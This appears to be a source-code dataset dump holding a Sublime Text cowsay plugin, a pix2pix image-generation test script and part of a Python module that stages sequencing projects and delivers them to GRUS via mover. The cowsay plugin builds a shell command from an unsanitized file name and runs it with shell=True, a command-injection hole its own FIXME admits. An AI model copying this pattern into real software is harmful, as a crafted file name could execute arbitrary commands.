[ { "alpha_fraction": 0.6062270998954773, "alphanum_fraction": 0.612942636013031, "avg_line_length": 27.241378784179688, "blob_id": "2624312f4341bfcd71c4d97408e66500bbf2980e", "content_id": "d1b2dd2c25410544db53bd0278b751a0e78a1782", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1638, "license_type": "no_license", "max_line_length": 79, "num_lines": 58, "path": "/cowsay_sublime.py", "repo_name": "jshields/cowsay_sublime", "src_encoding": "UTF-8", "text": "\"\"\"\nInstructions:\n\nInitial setup:\n\n 1. Install dependency: `sudo apt-get install cowsay`\n 2. Put this file at ~.config/sublime-text-3/Packages/User/cowsay_sublime.py\n\nRun the command:\n\n 1. Hit Ctrl+` to open the Sublime console\n 2. Type/paste `view.run_command(\"cowsay\")` (without the backticks)\n 3. Hit the Enter key\n\nYou may choose to create a shortcut or macro for running the command.\n\"\"\"\nimport sublime, sublime_plugin\nimport subprocess\nfrom os.path import splitext\n\n\nclass CowsayCommandError(Exception):\n pass\n\n\nclass CowsayCommand(sublime_plugin.TextCommand):\n def description(self):\n return 'Runs cowsay in the current file'\n\n def run(self, edit):\n file_name = self.view.file_name()\n if file_name is None:\n raise CowsayCommandError('No file name')\n\n # TODO use comment delimiters based on current selected syntax\n tokens = ('/*\\n', '\\n*/\\n')\n if splitext(file_name)[1] == '.py':\n tokens = ('\"\"\"\\n', '\\n\"\"\"\\n')\n\n self.view.window().set_status_bar_visible(True)\n self.view.window().status_message('Cowsay: %s' % file_name)\n\n # TODO have the cow say the TODOs in the file\n # FIXME sanitize file name to prevent security issues\n command = 'cowsay \"{file_name}\"'.format(file_name=file_name)\n results = subprocess.check_output(command, shell=True)\n\n out = (\n '{comment}'\n '{cow}'\n '{uncomment}'\n ).format(\n comment=tokens[0],\n cow=results.decode('UTF8'),\n uncomment=tokens[1]\n )\n\n self.view.insert(edit, 0, out)\n" }, { "alpha_fraction": 0.2716049253940582, "alphanum_fraction": 0.2716049253940582, "avg_line_length": 21, "blob_id": "aeefd37900b78d7491b869f3123b96de223ec688", "content_id": "9978471d7d7baa975a56e8c8e767c8243ed1cfd7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 243, "license_type": "no_license", "max_line_length": 62, "num_lines": 11, "path": "/README.md", "repo_name": "jshields/cowsay_sublime", "src_encoding": "UTF-8", "text": " ________________\n< cowsay_sublime >\n ----------------\n \\ ^__^\n \\ (oo)\\_______\n (__)\\ )\\/\\\n ||----w |\n || ||\n\n\nTrying out the API for Sublime Text plugins. Very rough draft.\n" } ]
2
nakashima-kodai/STSL
https://github.com/nakashima-kodai/STSL
f0575944a87282f4adcce24478a2ca70a5cef40a
2b7434df59f230d1d19fddb9180073b4393470a4
446efa77fc0c5e8b002bfd483c66c0787779307f
refs/heads/master
2020-03-29T00:50:25.448120
2018-09-27T10:15:52
2018-09-27T10:15:52
149,358,652
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6545661091804504, "alphanum_fraction": 0.6698808670043945, "avg_line_length": 29.39655113220215, "blob_id": "1e45c37c95ad1b8e5a0e2f2b9471d8d608084ae8", "content_id": "e9b9ea0069e00836c0f25aa99fd5bfdd2326845a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1763, "license_type": "no_license", "max_line_length": 93, "num_lines": 58, "path": "/test.py", "repo_name": "nakashima-kodai/STSL", "src_encoding": "UTF-8", "text": "import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nimport torchvision\nfrom options.test_options import TestOptions\nfrom data.data_loader import CreateDataLoader\nfrom model.pix2pix import Pix2Pix\n\ndef save_images_test(opt, epoch, label, generated):\n lblgen = torch.cat((label[0].unsqueeze(0), generated[0].unsqueeze(0)), dim=0)\n for i in range(1, opt.batch_size):\n temp = torch.cat((label[i].unsqueeze(0), generated[i].unsqueeze(0)), dim=0)\n lblgen = torch.cat((lblgen, temp), dim=0)\n\n lblgen = torchvision.utils.make_grid(lblgen, nrow=8, padding=1)\n lblgen = lblgen.numpy().transpose((1, 2, 0))\n\n if opt.timeofday == 'dawn/dusk':\n opt.timeofday = 'dawndusk'\n image_name = opt.weather + '_' + opt.timeofday + '_' + str(epoch).zfill(3) + 'epochs.png'\n save_path = os.path.join(opt.result_dir, opt.name, image_name)\n print('save_path: {}'.format(save_path))\n plt.imsave(save_path, lblgen)\n\n\nopt = TestOptions().parse()\nopt.no_shuffle = True\nopt.no_flip = True\n\ndata_loader = CreateDataLoader(opt)\ndataset = data_loader.load_data()\n\nmodel = Pix2Pix()\nmodel.initialize(opt)\n\nepoch = 100\nmodel.load_network(model.netG, opt.name+'_G', epoch_label=epoch)\n\nif not opt.weather == None:\n weather = [opt.weather for i in range(opt.batch_size)]\n timeofday = [opt.timeofday for i in range(opt.batch_size)]\nelse:\n weather = None\n timeofday = None\n\nfor i, data in enumerate(dataset):\n if i >= 1:\n print('finish Test!!')\n break\n\n generated = model.inference(data['label'], timeofday, weather)\n\n ''' inverse normalization '''\n generated = (generated.cpu() + 1.0) / 2.0\n\n ''' save label and generated image '''\n save_images_test(opt, epoch, data['label'], generated)\n" }, { "alpha_fraction": 0.9066666960716248, "alphanum_fraction": 0.9200000166893005, "avg_line_length": 74, "blob_id": "21bcbf480bc05c25482832c7b1746ca41300c9bb", "content_id": "2a43d2df2c0922cd9e151dd43194c4eea869c927", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 123, "license_type": "no_license", "max_line_length": 74, "num_lines": 1, "path": "/readme.txt", "repo_name": "nakashima-kodai/STSL", "src_encoding": "UTF-8", "text": "ckpt, samplesとresultsフォルダのv2系は、generatorのconvの後にattribute labelを結合したときの結果。\n" } ]
2
SciLifeLab/taca-ngi-pipeline
https://github.com/SciLifeLab/taca-ngi-pipeline
92c77300adb4101b08233440320d226818d91c6f
ac0abf07b40fec8ff8b8e5918eb7fcb28c9fd3dd
675660536de519f0d7ccf5dce7b7c12942d79dd4
refs/heads/master
2023-07-09T04:07:12.248329
2023-06-22T10:03:06
2023-06-22T10:03:06
35,877,476
3
14
MIT
2015-05-19T11:15:49
2022-11-26T16:07:51
2023-06-22T10:03:07
Python
[ { "alpha_fraction": 0.7664042115211487, "alphanum_fraction": 0.7664042115211487, "avg_line_length": 62.66666793823242, "blob_id": "907534940aff8da97dfa7e5c4faf61ba8abf9acb", "content_id": "4d050007ef7f76873ea8f00e6a46e216d0363494", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 381, "license_type": "permissive", "max_line_length": 150, "num_lines": 6, "path": "/README.md", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "# taca-ngi-pipeline\n\n[![Build Status](https://travis-ci.org/SciLifeLab/taca-ngi-pipeline.svg?branch=master)](https://travis-ci.org/SciLifeLab/taca-ngi-pipeline) \n[![codecov](https://codecov.io/gh/scilifelab/taca-ngi-pipeline/branch/master/graph/badge.svg)](https://codecov.io/gh/scilifelab/taca-ngi-pipeline) \n\nA TACA plugin adding functionality relevant for the ngi_pipeline" }, { "alpha_fraction": 0.6110256910324097, "alphanum_fraction": 0.6140751242637634, "avg_line_length": 53.8139533996582, "blob_id": "d137e1cb14e84395b7fafebac4f6288a4e6fdd01", "content_id": "2115137d8ad263f77b7854bf9ee0043889881df7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 37712, "license_type": "permissive", "max_line_length": 212, "num_lines": 688, "path": "/taca_ngi_pipeline/deliver/deliver_grus.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "\"\"\"\n Module for controlling deliveries os samples and projects to GRUS\n\"\"\"\nimport glob\nimport time\nimport requests\nimport datetime\nimport os\nimport logging\nimport json\nimport subprocess\nimport sys\nimport re\nimport shutil\nfrom dateutil.relativedelta import relativedelta\n\nfrom ngi_pipeline.database.classes import CharonSession\nfrom taca.utils.filesystem import do_copy, create_folder\nfrom taca.utils.config import CONFIG\nfrom taca.utils.statusdb import StatusdbSession, ProjectSummaryConnection\n\nfrom .deliver import ProjectDeliverer, SampleDeliverer, DelivererInterruptedError\nfrom ..utils.database import DatabaseError\nfrom six.moves import input\n\nlogger = logging.getLogger(__name__)\n\n\ndef proceed_or_not(question):\n yes = set(['yes', 'y', 'ye'])\n no = set(['no', 'n'])\n sys.stdout.write(\"{}\".format(question))\n while True:\n choice = input().lower()\n if choice in yes:\n return True\n elif choice in no:\n return False\n else:\n sys.stdout.write(\"Please respond with 'yes' or 'no'\")\n\ndef check_mover_version():\n cmd = ['moverinfo', '--version']\n output = subprocess.check_output(cmd, stderr=subprocess.STDOUT).decode(\"utf-8\")\n m = re.search('.* version (\\d\\.\\d\\.\\d)', output)\n if not m:\n logger.error(\"Probelm tring to idenitify mover version. Failed!\")\n return False\n if m.group(1) != \"1.0.0\":\n logger.error(\"mover version is {}, only allowed version is 1.0.0. Please run module load mover/1.0.0 and retry\".format(m.group(1)))\n return False\n return True #if I am here this is mover/1.0.0 so I am finr\n\n\nclass GrusProjectDeliverer(ProjectDeliverer):\n \"\"\" This object takes care of delivering project samples to castor's wharf.\n \"\"\"\n def __init__(self, projectid=None, sampleid=None,\n pi_email=None, sensitive=True,\n hard_stage_only=False, add_user=None,\n fcid=None, **kwargs):\n super(GrusProjectDeliverer, self).__init__(\n projectid,\n sampleid,\n **kwargs\n )\n self.stagingpathhard = getattr(self, 'stagingpathhard', None)\n if self.stagingpathhard is None:\n raise AttributeError(\"stagingpathhard is required when delivering to GRUS\")\n self.config_snic = CONFIG.get('snic', None)\n if self.config_snic is None:\n raise AttributeError(\"snic configuration is needed delivering to GRUS (snic_api_url, snic_api_user, snic_api_password\")\n self.config_statusdb = CONFIG.get('statusdb', None)\n if self.config_statusdb is None:\n raise AttributeError(\"statusdb configuration is needed delivering to GRUS (url, username, password\")\n self.orderportal = CONFIG.get('order_portal', None) # do not need to raise exception here, I have already checked for this and monitoring does not need it\n if self.orderportal:\n self._set_pi_details(pi_email) # set PI email and SNIC id\n self._set_other_member_details(add_user, CONFIG.get('add_project_owner', False)) # set SNIC id for other project members\n self.sensitive = sensitive\n self.hard_stage_only = hard_stage_only\n self.fcid = fcid\n\n def get_delivery_status(self, dbentry=None):\n \"\"\" Returns the delivery status for this sample. If a sampleentry\n dict is supplied, it will be used instead of fethcing from database\n\n :params sampleentry: a database sample entry to use instead of\n fetching from db\n :returns: the delivery status of this sample as a string\n \"\"\"\n dbentry = dbentry or self.db_entry()\n if dbentry.get('delivery_token'):\n if dbentry.get('delivery_token') not in ['NO-TOKEN', 'not_under_delivery'] :\n return 'IN_PROGRESS' #it means that at least some samples are under delivery\n if dbentry.get('delivery_status'):\n if dbentry.get('delivery_status') == 'DELIVERED':\n return 'DELIVERED' #it means that the project has been marked as delivered\n if dbentry.get('delivery_projects'):\n return 'PARTIAL' #it means that the project underwent a delivery, but not for all the samples\n return 'NOT_DELIVERED' #last possible case is that the project is not delivered\n\n def check_mover_delivery_status(self):\n \"\"\" This function checks is project is under delivery. If so it waits until projects is delivered or a certain threshold is met\n \"\"\"\n #first thing check that we are using mover 1.0.0\n if not check_mover_version():\n logger.error(\"Not delivering becouse wrong mover version detected\")\n return False\n charon_status = self.get_delivery_status()\n # we don't care if delivery is not in progress\n if charon_status != 'IN_PROGRESS':\n logger.info(\"Project {} has no delivery token. Project is not being delivered at the moment\".format(self.projectid))\n return\n # if it's 'IN_PROGRESS', checking moverinfo\n delivery_token = self.db_entry().get('delivery_token')\n logger.info(\"Project {} under delivery. Delivery token is {}. Starting monitoring:\".format(self.projectid, delivery_token))\n delivery_status = 'IN_PROGRESS'\n not_monitoring = False\n max_delivery_time = relativedelta(days=7)\n monitoring_start = datetime.datetime.now()\n while ( not not_monitoring ):\n try:\n cmd = ['moverinfo', '-i', delivery_token]\n output = subprocess.check_output(cmd, stderr=subprocess.STDOUT).decode(\"utf-8\")\n except Exception as e:\n logger.error('Cannot get the delivery status for project {}'.format(self.projectid))\n # write Traceback to the log file\n logger.exception(e)\n # we do not raise, but exit(1). Traceback will be written to log.\n exit(1)\n else:\n #Moverinfo output with option -i can be: InProgress, Accepted, Failed,\n mover_status = output.split(':')[0]\n if mover_status == 'Delivered':\n # check the filesystem anyway\n if os.path.exists(self.expand_path(self.stagingpathhard)):\n logger.error('Delivery {} for project {} delivered done but project folder found in DELIVERY_HARD. Failing delivery.'.format(delivery_token, self.projectid))\n delivery_status = 'FAILED'\n else:\n logger.info(\"Project {} succefully delivered. Delivery token is {}.\".format(self.projectid, delivery_token))\n delivery_status = 'DELIVERED'\n not_monitoring = True #stop the monitoring, it is either failed or delivered\n continue\n else:\n #check for how long time delivery has been going on\n if self.db_entry().get('delivery_started'):\n delivery_started = self.db_entry().get('delivery_started')\n else:\n delivery_started = monitoring_start #the first time I checked the status, not necessarly when it begun\n now = datetime.datetime.now()\n if now - max_delivery_time > delivery_started:\n logger.error('Delivery {} for project {} has been ongoing for more than 48 hours. Check what the f**k is going on. The project status will be reset'.format(delivery_token, self.projectid))\n delivery_status = 'FAILED'\n not_monitoring = True #stop the monitoring, it is taking too long\n continue\n if mover_status == 'Accepted':\n logger.info(\"Project {} under delivery. Status for delivery-token {} is : {}\".format(self.projectid, delivery_token, mover_status))\n elif mover_status == 'Failed':\n logger.warn(\"Project {} under delivery (attention mover returned {}). Status for delivery-token {} is : {}\".format(self.projectid, mover_status, delivery_token, mover_status))\n elif mover_status == 'InProgress':\n #this is an error because it is a new status\n logger.info(\"Project {} under delivery. Status for delivery-token {} is : {}\".format(self.projectid, delivery_token, mover_status))\n else:\n logger.warn(\"Project {} under delivery. Unexpected status-delivery returned by mover for delivery-token {}: {}\".format(self.projectid, delivery_token, mover_status))\n time.sleep(900) #sleep for 15 minutes and then check again the status\n #I am here only if not_monitoring is True, that is only if mover status was delivered or the delivery is ongoing for more than 48h\n if delivery_status == 'DELIVERED' or delivery_status == 'FAILED':\n #fetch all samples that were under delivery\n in_progress_samples = self.get_samples_from_charon(delivery_status=\"IN_PROGRESS\")\n # now update them\n for sample_id in in_progress_samples:\n try:\n sample_deliverer = GrusSampleDeliverer(self.projectid, sample_id)\n sample_deliverer.update_delivery_status(status=delivery_status)\n except Exception as e:\n logger.error('Sample {}: Problems in setting sample status on charon. Error: {}'.format(sample_id, e))\n logger.exception(e)\n #now reset delivery\n self.delete_delivery_token_in_charon()\n #now check, if all samples in charon are DELIVERED or are ABORTED as status, then the all projecct is DELIVERED\n all_samples_delivered = True\n for sample_id in self.get_samples_from_charon(delivery_status=None):\n try:\n sample_deliverer = GrusSampleDeliverer(self.projectid, sample_id)\n if sample_deliverer.get_sample_status() == 'ABORTED':\n continue\n if sample_deliverer.get_delivery_status() != 'DELIVERED':\n all_samples_delivered = False\n except Exception as e:\n logger.error('Sample {}: Problems in setting sample status on charon. Error: {}'.format(sample_id, e))\n logger.exception(e)\n if all_samples_delivered:\n self.update_delivery_status(status=delivery_status)\n\n def deliver_project(self):\n \"\"\" Deliver all samples in a project to grus\n :returns: True if all samples were delivered successfully, False if\n any sample was not properly delivered or ready to be delivered\n \"\"\"\n #first thing check that we are using mover 1.0.0\n if not check_mover_version():\n logger.error(\"Not delivering because wrong mover version detected\")\n return False\n # moved this part from constructor, as we can create an object without running the delivery (e.g. to check_delivery_status)\n #check if the project directory already exists, if so abort\n soft_stagepath = self.expand_path(self.stagingpath)\n hard_stagepath = self.expand_path(self.stagingpathhard)\n if os.path.exists(hard_stagepath):\n logger.error(\"In {} found already folder {}. No multiple mover deliveries are allowed\".format(\n hard_stagepath, self.projectid))\n raise DelivererInterruptedError(\"Hard Staged Folder already present\")\n #check that this project is not under delivery with mover already in this case stop delivery\n if self.get_delivery_status() == 'DELIVERED' \\\n and not self.force:\n logger.info(\"{} has already been delivered. This project will not be delivered again this time.\".format(str(self)))\n return True\n elif self.get_delivery_status() == 'IN_PROGRESS':\n logger.error(\"Project {} is already under delivery. No multiple mover deliveries are allowed\".format(\n self.projectid))\n raise DelivererInterruptedError(\"Project already under delivery with Mover\")\n elif self.get_delivery_status() == 'PARTIAL':\n logger.warning(\"{} has already been partially delivered. Please confirm you want to proceed.\".format(str(self)))\n if proceed_or_not(\"Do you want to proceed (yes/no): \"):\n logger.info(\"{} has already been partially delivered. User confirmed to proceed.\".format(str(self)))\n else:\n logger.error(\"{} has already been partially delivered. User decided to not proceed.\".format(str(self)))\n return False\n #now check if the sensitive flag has been set in the correct way\n question = \"This project has been marked as SENSITIVE (option --sensitive). Do you want to proceed with delivery? \"\n if not self.sensitive:\n question = \"This project has been marked as NON-SENSITIVE (option --no-sensitive). Do you want to proceed with delivery? \"\n if proceed_or_not(question):\n logger.info(\"Delivering {} to GRUS with mover. Project marked as SENSITIVE={}\".format(str(self), self.sensitive))\n else:\n logger.error(\"{} delivery has been aborted. Sensitive level was WRONG.\".format(str(self)))\n return False\n #now start with the real work\n status = True\n\n # connect to charon, return list of sample objects that have been staged\n try:\n samples_to_deliver = self.get_samples_from_charon(delivery_status=\"STAGED\")\n except Exception as e:\n logger.error(\"Cannot get samples from Charon. Error says: {}\".format(str(e)))\n logger.exception(e)\n raise e\n if len(samples_to_deliver) == 0:\n logger.warning('No staged samples found in Charon')\n raise AssertionError('No staged samples found in Charon')\n\n # collect other files (not samples) if any to include in the hard staging\n misc_to_deliver = [itm for itm in os.listdir(soft_stagepath) if os.path.splitext(itm)[0] not in samples_to_deliver]\n\n question = \"\\nProject stagepath: {}\\nSamples: {}\\nMiscellaneous: {}\\n\\nProceed with delivery ? \"\n question = question.format(soft_stagepath, \", \".join(samples_to_deliver), \", \".join(misc_to_deliver))\n if proceed_or_not(question):\n logger.info(\"Proceeding with delivery of {}\".format(str(self)))\n #lock the delivery by creating the folder\n create_folder(hard_stagepath)\n else:\n logger.error(\"Aborting delivery for {}, remove unwanted files and try again\".format(str(self)))\n return False\n\n hard_staged_samples = []\n for sample_id in samples_to_deliver:\n try:\n sample_deliverer = GrusSampleDeliverer(self.projectid, sample_id)\n sample_deliverer.deliver_sample()\n except Exception as e:\n logger.error('Sample {} has not been hard staged. Error says: {}'.format(sample_id, e))\n logger.exception(e)\n raise e\n else:\n hard_staged_samples.append(sample_id)\n if len(samples_to_deliver) != len(hard_staged_samples):\n # Something unexpected happend, terminate\n logger.warning('Not all the samples have been hard staged. Terminating')\n raise AssertionError('len(samples_to_deliver) != len(hard_staged_samples): {} != {}'.format(len(samples_to_deliver),\n len(hard_staged_samples)))\n\n hard_staged_misc = []\n for itm in misc_to_deliver:\n src_misc = os.path.join(soft_stagepath, itm)\n dst_misc = os.path.join(hard_stagepath, itm)\n try:\n if os.path.isdir(src_misc):\n shutil.copytree(src_misc, dst_misc)\n else:\n shutil.copy(src_misc, dst_misc)\n hard_staged_misc.append(itm)\n except Exception as e:\n logger.error('Miscellaneous file {} has not been hard staged for project {}. Error says: {}'.format(itm, self.projectid, e))\n logger.exception(e)\n raise e\n if len(misc_to_deliver) != len(hard_staged_misc):\n # Something unexpected happend, terminate\n logger.warning('Not all the Miscellaneous files have been hard staged for project {}. Terminating'.format(self.projectid))\n raise AssertionError('len(misc_to_deliver) != len(hard_staged_misc): {} != {}'.format(len(misc_to_deliver),\n len(hard_staged_misc)))\n\n # create a delivery project id\n supr_name_of_delivery = ''\n try:\n delivery_project_info = self._create_delivery_project()\n supr_name_of_delivery = delivery_project_info['name']\n logger.info(\"Delivery project for project {} has been created. Delivery IDis {}\".format(self.projectid, supr_name_of_delivery))\n except Exception as e:\n logger.error('Cannot create delivery project. Error says: {}'.format(e))\n logger.exception(e)\n delivery_token = self.do_delivery(supr_name_of_delivery) # instead of to_outbox\n #at this point I have delivery_token and supr_name_of_delivery so I need to update the project fields and the samples fields\n if delivery_token:\n #memorise the delivery token used to check if project is under delivery\n self.save_delivery_token_in_charon(delivery_token)\n #memorise the delivery project so I know each NGi project to how many delivery projects it has been sent\n self.add_supr_name_delivery_in_charon(supr_name_of_delivery)\n self.add_supr_name_delivery_in_statusdb(supr_name_of_delivery)\n logger.info(\"Delivery token for project {}, delivery project {} is {}\".format(self.projectid,\n supr_name_of_delivery,\n delivery_token))\n for sample_id in samples_to_deliver:\n try:\n sample_deliverer = GrusSampleDeliverer(self.projectid, sample_id)\n sample_deliverer.save_delivery_token_in_charon(delivery_token)\n sample_deliverer.add_supr_name_delivery_in_charon(supr_name_of_delivery)\n except Exception as e:\n logger.error('Failed in saving sample infomration for sample {}. Error says: {}'.format(sample_id, e))\n logger.exception(e)\n else:\n logger.error('Delivery project for project {} has not been created'.format(self.projectid))\n status = False\n return status\n\n def deliver_run_folder(self):\n '''Hard stages run folder and initiates delivery\n '''\n #stage the data\n dst = self.expand_path(self.stagingpathhard)\n path_to_data = self.expand_path(self.datapath)\n runfolder_archive = os.path.join(path_to_data, self.fcid + \".tar.gz\")\n runfolder_md5file = runfolder_archive + \".md5\"\n\n question = \"This project has been marked as SENSITIVE (option --sensitive). Do you want to proceed with delivery? \"\n if not self.sensitive:\n question = \"This project has been marked as NON-SENSITIVE (option --no-sensitive). Do you want to proceed with delivery? \"\n if proceed_or_not(question):\n logger.info(\"Delivering {} to GRUS with mover. Project marked as SENSITIVE={}\".format(str(self), self.sensitive))\n else:\n logger.error(\"{} delivery has been aborted. Sensitive level was WRONG.\".format(str(self)))\n return False\n\n status = True\n\n create_folder(dst)\n try:\n shutil.copy(runfolder_archive, dst)\n shutil.copy(runfolder_md5file, dst)\n logger.info(\"Copying files {} and {} to {}\".format(runfolder_archive, runfolder_md5file, dst))\n except IOError as e:\n logger.error(\"Unable to copy files to {}. Please check that the files exist and that the filenames match the flowcell ID.\".format(dst))\n\n delivery_id = ''\n try:\n delivery_project_info = self._create_delivery_project()\n delivery_id = delivery_project_info['name']\n logger.info(\"Delivery project for project {} has been created. Delivery IDis {}\".format(self.projectid, delivery_id))\n except Exception as e:\n logger.error('Cannot create delivery project. Error says: {}'.format(e))\n logger.exception(e)\n\n #invoke mover\n delivery_token = self.do_delivery(delivery_id)\n\n if delivery_token:\n logger.info(\"Delivery token for project {}, delivery project {} is {}\".format(self.projectid,\n delivery_id,\n delivery_token))\n else:\n logger.error('Delivery project for project {} has not been created'.format(self.projectid))\n status = False\n return status\n\n\n def save_delivery_token_in_charon(self, delivery_token):\n '''Updates delivery_token in Charon at project level\n '''\n charon_session = CharonSession()\n charon_session.project_update(self.projectid, delivery_token=delivery_token)\n\n def delete_delivery_token_in_charon(self):\n '''Removes delivery_token from Charon upon successful delivery\n '''\n charon_session = CharonSession()\n charon_session.project_update(self.projectid, delivery_token='NO-TOKEN')\n\n def add_supr_name_delivery_in_charon(self, supr_name_of_delivery):\n '''Updates delivery_projects in Charon at project level\n '''\n charon_session = CharonSession()\n try:\n #fetch the project\n project_charon = charon_session.project_get(self.projectid)\n delivery_projects = project_charon['delivery_projects']\n if supr_name_of_delivery not in delivery_projects:\n delivery_projects.append(supr_name_of_delivery)\n charon_session.project_update(self.projectid, delivery_projects=delivery_projects)\n logger.info('Charon delivery_projects for project {} updated with value {}'.format(self.projectid, supr_name_of_delivery))\n else:\n logger.warn('Charon delivery_projects for project {} not updated with value {} because the value was already present'.format(self.projectid, supr_name_of_delivery))\n except Exception as e:\n logger.error('Failed to update delivery_projects in charon while delivering {}. Error says: {}'.format(self.projectid, e))\n logger.exception(e)\n\n def add_supr_name_delivery_in_statusdb(self, supr_name_of_delivery):\n '''Updates delivery_projects in StatusDB at project level\n '''\n save_meta_info = getattr(self, 'save_meta_info', False)\n if not save_meta_info:\n return\n status_db = ProjectSummaryConnection(self.config_statusdb)\n project_page = status_db.get_entry(self.projectid, use_id_view=True)\n dprojs = []\n if 'delivery_projects' in project_page:\n dprojs = project_page['delivery_projects']\n\n dprojs.append(supr_name_of_delivery)\n\n project_page['delivery_projects'] = dprojs\n try:\n status_db.save_db_doc(project_page)\n logger.info('Delivery_projects for project {} updated with value {} in statusdb'.format(self.projectid, supr_name_of_delivery))\n except Exception as e:\n logger.error('Failed to update delivery_projects in statusdb while delivering {}. Error says: {}'.format(self.projectid, e))\n logger.exception(e)\n\n def do_delivery(self, supr_name_of_delivery):\n # this one returns error : \"265 is non-existing at /usr/local/bin/to_outbox line 214\". (265 is delivery_project_id, created via api)\n # or: id=P6968-ngi-sw-1488209917 Error: receiver 274 does not exist or has expired.\n hard_stage = self.expand_path(self.stagingpathhard)\n #need to change group to all files\n os.chown(hard_stage, -1, 47537)\n for root, dirs, files in os.walk(hard_stage):\n for dir in dirs:\n dir_path = os.path.join(root, dir)\n os.chown(dir_path, -1, 47537) #gr_id is the one of ngi2016003\n for file in files:\n fname = os.path.join(root, file)\n os.chown(fname, -1, 47537)\n cmd = ['to_outbox', hard_stage, supr_name_of_delivery]\n if self.hard_stage_only:\n logger.warning(\"to_mover command not executed, only hard-staging done. Do what you need to do and then run: {}\".format(\" \".join(cmd)))\n return \"manually-set-up\"\n\n try:\n output = subprocess.check_output(cmd, stderr=subprocess.STDOUT).decode(\"utf-8\")\n except subprocess.CalledProcessError as e:\n logger.error('to_outbox failed while delivering {} to {}'.format(hard_stage, supr_name_of_delivery))\n logger.exception(e)\n delivery_token = output.rstrip()\n return delivery_token\n\n def get_samples_from_charon(self, delivery_status='STAGED'):\n \"\"\"Takes as input a delivery status and return all samples with that delivery status\n \"\"\"\n charon_session = CharonSession()\n result = charon_session.project_get_samples(self.projectid)\n samples = result.get('samples')\n if samples is None:\n raise AssertionError('CharonSession returned no results for project {}'.format(self.projectid))\n samples_of_interest = []\n for sample in samples:\n sample_id = sample.get('sampleid')\n charon_delivery_status = sample.get('delivery_status')\n if charon_delivery_status == delivery_status or delivery_status is None:\n samples_of_interest.append(sample_id)\n return samples_of_interest\n\n def _create_delivery_project(self):\n create_project_url = '{}/ngi_delivery/project/create/'.format(self.config_snic.get('snic_api_url'))\n user = self.config_snic.get('snic_api_user')\n password = self.config_snic.get('snic_api_password')\n supr_date_format = '%Y-%m-%d'\n today = datetime.date.today()\n days_from_now = (today + relativedelta(days=+45))\n data = {\n 'ngi_project_name': self.projectid,\n 'title': \"DELIVERY_{}_{}\".format(self.projectid, today.strftime(supr_date_format)),\n 'pi_id': self.pi_snic_id,\n 'start_date': today.strftime(supr_date_format),\n 'end_date': days_from_now.strftime(supr_date_format),\n 'continuation_name': '',\n # You can use this field to allocate the size of the delivery\n # 'allocated': size_of_delivery,\n # This field can be used to add any data you like\n 'api_opaque_data': '',\n 'ngi_ready': False,\n 'ngi_delivery_status': '',\n 'ngi_sensitive_data': self.sensitive,\n 'member_ids': self.other_member_snic_ids\n }\n response = requests.post(create_project_url, data=json.dumps(data), auth=(user, password))\n if response.status_code != 200:\n raise AssertionError(\"API returned status code {}. Response: {}. URL: {}\".format(response.status_code, response.content, create_project_url))\n result = json.loads(response.content)\n return result\n\n def _set_pi_details(self, given_pi_email=None):\n \"\"\"\n Set PI email address and PI SNIC ID using PI email\n \"\"\"\n self.pi_email, self.pi_snic_id = (None, None)\n # try getting PI email\n if given_pi_email:\n logger.warning(\"PI email for project {} specified by user: {}\".format(self.projectid, given_pi_email))\n self.pi_email = given_pi_email\n else:\n try:\n self.pi_email = self._get_order_detail()['fields']['project_pi_email']\n logger.info(\"PI email for project {} found: {}\".format(self.projectid, self.pi_email))\n except Exception as e:\n logger.error(\"Cannot fetch pi_email from StatusDB. Error says: {}\".format(str(e)))\n raise e\n # try getting PI SNIC ID\n try:\n self.pi_snic_id = self._get_user_snic_id(self.pi_email)\n logger.info(\"SNIC PI-id for delivering of project {} is {}\".format(self.projectid, self.pi_snic_id))\n except Exception as e:\n logger.error(\"Cannot fetch PI SNIC id using snic API. Error says: {}\".format(str(e)))\n raise e\n\n def _set_other_member_details(self, other_member_emails=[], include_owner=False):\n \"\"\"\n Set other contact details if avilable, this is not mandatory so\n the method will not raise error if it could not find any contact\n \"\"\"\n self.other_member_snic_ids = []\n # try getting appropriate contact emails\n try:\n prj_order = self._get_order_detail()\n if include_owner:\n owner_email = prj_order.get('owner', {}).get('email')\n if owner_email and owner_email != self.pi_email and owner_email not in other_member_emails:\n other_member_emails.append(owner_email)\n binfo_email = prj_order.get('fields', {}).get('project_bx_email')\n if binfo_email and binfo_email != self.pi_email and binfo_email not in other_member_emails:\n other_member_emails.append(binfo_email)\n except (AssertionError, ValueError) as e:\n pass # nothing to worry, just move on\n if other_member_emails:\n logger.info(\"Other appropriate contacts were found, they will be added to GRUS delivery project: {}\".format(\", \".join(other_member_emails)))\n # try getting snic id for other emails if any\n for uemail in other_member_emails:\n try:\n self.other_member_snic_ids.append(self._get_user_snic_id(uemail))\n except:\n logger.warning(\"Was not able to get SNIC id for email {}, so that user will not be included in the GRUS project\".format(uemail))\n\n def _get_user_snic_id(self, uemail):\n user = self.config_snic.get('snic_api_user')\n password = self.config_snic.get('snic_api_password')\n get_user_url = '{}/person/search/'.format(self.config_snic.get('snic_api_url'))\n params = {'email_i': uemail}\n response = requests.get(get_user_url, params=params, auth=(user, password))\n if response.status_code != 200:\n raise AssertionError(\"Unexpected code returned when trying to get SNIC id for email: {}. Response was: {}\".format(uemail, response.content))\n result = json.loads(response.content)\n matches = result.get(\"matches\")\n if matches is None:\n raise AssertionError('The response returned unexpected data')\n if len(matches) < 1:\n raise AssertionError(\"There was no hit in SUPR for email: {}\".format(uemail))\n if len(matches) > 1:\n raise AssertionError(\"There were more than one hit in SUPR for email: {}\".format(uemail))\n return matches[0].get(\"id\")\n\n def _get_order_detail(self):\n status_db = StatusdbSession(self.config_statusdb)\n projects_db = status_db.connection['projects']\n view = projects_db.view('order_portal/ProjectID_to_PortalID')\n rows = 